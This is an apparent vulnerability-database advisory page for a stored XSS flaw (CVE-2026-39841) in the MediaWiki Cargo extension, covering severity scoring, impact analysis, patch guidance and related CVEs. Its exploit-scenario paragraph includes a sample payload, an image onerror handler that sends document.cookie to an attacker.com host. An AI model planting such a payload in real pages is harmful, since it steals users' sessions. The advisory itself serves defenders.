Skip to main content

Mediawiki Cargo Extension EUVDEUVD-2026-19931

| CVE-2026-39841 MEDIUM
Basic XSS (CWE-80)
2026-04-07 wikimedia-foundation
6.3
CVSS 4.0 · Vendor: wikimedia-foundation
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization HTML tag escaping
MITRE ATT&CK

1 technique across 1 tactic: Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

CVSS 6.3 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P reflects moderate risk with notable constraints: network-accessible but requires authenticated login (PR:L) and user interaction on the victim side (UI:P-victim must view the malicious page). The scope change to high (SC:H) indicates the stored script can affect other users beyond the attacker's immediate session, and integrity/secrecy impacts (SI:H, VI:H) confirm XSS-class damage potential. However, real-world exploitation is limited to wiki communities where the attacker has editor credentials; opportunistic external attackers cannot exploit this directly. The EPSS score is not provided, preventing probability-based prioritization, but the authenticated + user interaction gates make this lower-priority than unauthenticated remote code execution. Threat model: malicious or compromised wiki editors (accounts with edit rights) are the primary threat, not arbitrary remote attackers. Wikis with trusted editor communities face lower risk; public wikis with open registration face higher risk.

Exploit ScenarioDerived

A malicious editor on a public wiki with editing privileges crafts a Cargo template or query containing embedded <script>alert('XSS')</script> or an event handler like <img onerror=fetch('http://attacker.com/steal?cookie='+document.cookie)>. When other wiki users view a page using that Cargo template, the script executes in their browser, potentially stealing session cookies or performing actions on their behalf (e.g., editing pages, viewing private data). No public exploit code is known to exist; exploitation requires manual template injection by an authenticated attacker with wiki edit rights and understanding of Cargo syntax.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 07, 2026

Stored XSS vulnerability in Wikimedia Cargo Extension before 3.8.7 allows authenticated users with page editing permissions to inject malicious scripts via improper neutralization of HTML script tags, enabling attackers to execute arbitrary JavaScript in the context of other users' browsers when stored content is viewed. The vulnerability requires user interaction (page view) and authenticated access but carries high scope impact on integrity and confidentiality through script injection in a collaborative wiki environment.

RemediationAI

Vendor-released patch: Cargo Extension version 3.8.7 or later. Upgrade to the fixed version immediately via the MediaWiki extension management system or by pulling the latest code from the Wikimedia Gerrit repository (https://gerrit.wikimedia.org/r/c/mediawiki/extensions/Cargo/+/1237973). For environments unable to immediately patch, restrict editor privileges to trusted users only and monitor wiki edit logs for suspicious script-containing edits. See https://phabricator.wikimedia.org/T416389 for technical details and patch confirmation.

Affected VersionsENISA

Mediawiki - Cargo Extension 0 <3.8.7

Affected Packages

euvd mediawiki_cargo_extension fix: 3.8.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Cargo Extension for MediaWiki provides database querying and template functionality for wiki pages. The vulnerability stems from insufficient HTML sanitization (CWE-80: Improper Neutralization of Script-Related HTML Tags) in the extension's tag processing logic, allowing script-related HTML elements to bypass filtering and persist in the wiki database. Attackers with editing privileges (PR:L per CVSS vector) can embed malicious <script> tags or event handlers that execute when other users render pages containing the vulnerable Cargo template or query output. The root cause is inadequate input validation before storage and output encoding before rendering in the wiki environment where content trust is assumed for editors but not enforced at the HTML level.

Know when Mediawiki Cargo Extension gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (wikimedia-foundation) PRIMARY 6.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (wikimedia-foundation) · only source for this CVE.

CVSS VectorVendor: wikimedia-foundation

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Apr 16, 2026 - 05:29 EUVD
3.8.7
CVE Published
Apr 07, 2026 - 19:43 nvd
MEDIUM 6.3

DescriptionCVE.org

Improper neutralization of Script-Related HTML tags in a web page (basic XSS) vulnerability in Wikimedia Foundation Mediawiki - Cargo Extension allows Stored XSS.This issue affects Mediawiki - Cargo Extension: before 3.8.7.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-58519 MEDIUM
6.9 Jul 01

Stored cross-site scripting in the Wikimedia Foundation's MediaWiki Cargo Extension (all versions before 3.9.1) allows a

CVE-2026-96878 MEDIUM
6.9 Sep 25

Reflected cross-site scripting in the MediaWiki Cargo extension (versions through 3.9.4) lets remote, unauthenticated at

CVE-2026-96877 MEDIUM
6.9 Sep 25

Reflected cross-site scripting in the MediaWiki Cargo extension (versions through 3.9.4) allows an unauthenticated remot

CVE-2026-96876 MEDIUM
6.9 Sep 25

Reflected cross-site scripting in the MediaWiki Cargo extension, affecting all versions through 3.9.4, allows an unauthe

CVE-2026-96875 MEDIUM
6.9 Sep 25

Stored cross-site scripting (XSS) in the MediaWiki Cargo extension through version 3.9.4 allows attackers to inject pers

CVE-2026-14363 MEDIUM
6.9 Jul 01

SQL injection in the Wikimedia Foundation's MediaWiki Cargo Extension exposes wiki deployments to unauthenticated databa

CVE-2026-58521 MEDIUM
6.9 Jul 01

SQL injection in the Wikimedia Foundation's Cargo Extension for MediaWiki exposes all installations running versions pri

CVE-2026-39837 MEDIUM
6.3 Apr 07

Stored cross-site scripting (XSS) in the Mediawiki Cargo Extension before version 3.8.7 allows authenticated users to in

CVE-2026-39839 MEDIUM
6.3 Apr 07

Stored XSS in Wikimedia Cargo Extension before 3.8.7 allows authenticated users with page editing privileges to inject m

CVE-2026-103049 MEDIUM
6.1 Sep 29

Reflected cross-site scripting in the MediaWiki Cargo extension before 1.46.1 lets remote attackers inject script into a

CVE-2026-39840 MEDIUM
5.1 Apr 07

Cross-site scripting (XSS) vulnerability in Mediawiki Cargo Extension before version 3.8.7 allows authenticated users to

CVE-2026-96874 LOW
2.3 Sep 25

Stored cross-site scripting in the MediaWiki Cargo extension through version 3.9.4 lets an authenticated user with conte

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy